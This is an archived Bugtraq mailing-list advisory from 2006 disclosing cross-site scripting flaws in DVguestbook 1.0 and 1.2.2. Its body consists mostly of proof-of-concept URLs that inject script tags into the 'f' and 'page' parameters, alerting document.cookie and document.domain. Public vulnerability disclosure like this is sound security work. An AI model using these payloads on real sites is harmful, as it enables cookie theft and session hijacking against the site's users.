Bugtraq mailing list archives

DVguestbook 1.0 And 1.2.2 Cross Site Scripting


From: liz0 () bsdmail com
Date: 9 Mar 2006 19:53:05 -0000

-------------------------------------------------------------------------------------
DVguestbook 1.0 And 1.2.2 Cross Site Scripting 

Site:http://suprem.free.fr

Credit : Liz0ziM 
webpage:www.biyosecurity.com 
Mail   :liz0 () bsdmail com

-------------------------------------------------------------------------------------
DVguestbook 1.0  Xss

http://victim/path/dv_gbook.php?d=0&f='";><script>alert(document.cookie)</script>
http://victim/path/dv_gbook.php?d=0&f='";><script>alert(/BiyoSecurityTeam/)</script>
http://victim/path/dv_gbook.php?d=0&f='";><script>alert(document.domain)</script>

DVguestbook 1.2.2 Xss

http://victim/path/index.php?page=";><script>alert(document.cookie)</script>
http://victim/path/index.php?page=";><script>alert(/Liz0ziM/)</script>
http://victim/path/index.php?page=";><script>alert(document.domain)</script>
----------------------------------------------------------------------------------------
Source:

http://www.blogcu.com/Liz0ziM/326668/
http://biyosecurity.be/bugs/dvguestbook.txt


Current thread: